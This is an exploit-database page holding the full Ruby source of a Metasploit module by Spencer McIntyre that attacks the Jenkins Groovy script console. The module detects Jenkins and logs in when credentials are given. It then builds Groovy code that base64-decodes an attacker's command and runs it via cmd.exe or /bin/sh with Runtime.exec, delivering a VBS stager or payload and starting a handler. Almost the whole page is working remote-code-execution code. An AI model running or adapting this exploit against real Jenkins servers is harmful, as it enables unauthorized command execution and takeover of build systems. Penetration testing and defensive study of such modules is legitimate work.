Jenkins CI Script Console Command Execution MSF Module



EKU-ID: 2971 CVE: OSVDB-ID:
Author: Spencer McIntyre Published: 2013-01-21 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::CmdStagerVBS

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Jenkins Script-Console Java Execution',
   'Description'    => %q{
     This module uses the Jenkins Groovy script console to execute
    OS commands using Java.
   },
   'Author' =>
    [
     'Spencer McIntyre',
     'jamcut'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'DefaultOptions' =>
    {
     'WfsDelay' => '10',
    },
   'References'     =>
    [
     ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
    ],
   'Targets'  =>
    [
     ['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win'}],
     ['Unix',     {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
    ],
   'DisclosureDate' => 'Jan 18 2013',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
    OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
    OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),
   ], self.class)
 end

 def check
  res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})
  if res and res.headers.include?('X-Jenkins')
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def http_send_command(cmd, opts = {})
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => datastore['PATH'] + '/script',
   'cookie'    => @cookie,
   'vars_post' =>
    {
     'script' => java_craft_runtime_exec(cmd),
     'Submit' => 'Run'
    }
  })
  if not (res and res.code == 200)
   fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
  end
 end

 def java_craft_runtime_exec(cmd)
  decoder = Rex::Text.rand_text_alpha(5, 8)
  decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
  cmd_array = Rex::Text.rand_text_alpha(5, 8)
  jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
  jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

  jcode << "String [] #{cmd_array} = new String[3];\n"
  if target['Platform'] == 'win'
   jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
   jcode << "#{cmd_array}[1] = \"/c\";\n"
  else
   jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
   jcode << "#{cmd_array}[1] = \"-c\";\n"
  end
  jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
  jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
  jcode
 end

 def execute_command(cmd, opts = {})
  http_send_command("#{cmd}")
 end

 def exploit
  print_status('Checking access to the script console')
  res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})
  if not (res and res.code)
   fail_with(Exploit::Failure::Unknown)
  end

  sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
  @cookie = "#{sessionid}"

  if res.code != 200
   print_status('Logging in...')
   res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => datastore['PATH'] + '/j_acegi_security_check',
    'cookie'    => @cookie,
    'vars_post' =>
     {
      'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
      'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
      'Submit'     => 'log in'
     }
   })

   if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
    fail_with(Exploit::Failure::NoAccess, 'login failed')
   end
  else
   print_status('No authentication required, skipping login...')
  end

  case target['Platform']
  when 'win'
   print_status("#{rhost}:#{rport} - Sending VBS stager...")
   execute_cmdstager({:linemax => 2049})

  when 'unix'
   print_status("#{rhost}:#{rport} - Sending payload...")
   http_send_command("#{payload.encoded}")
  end

  handler
 end
end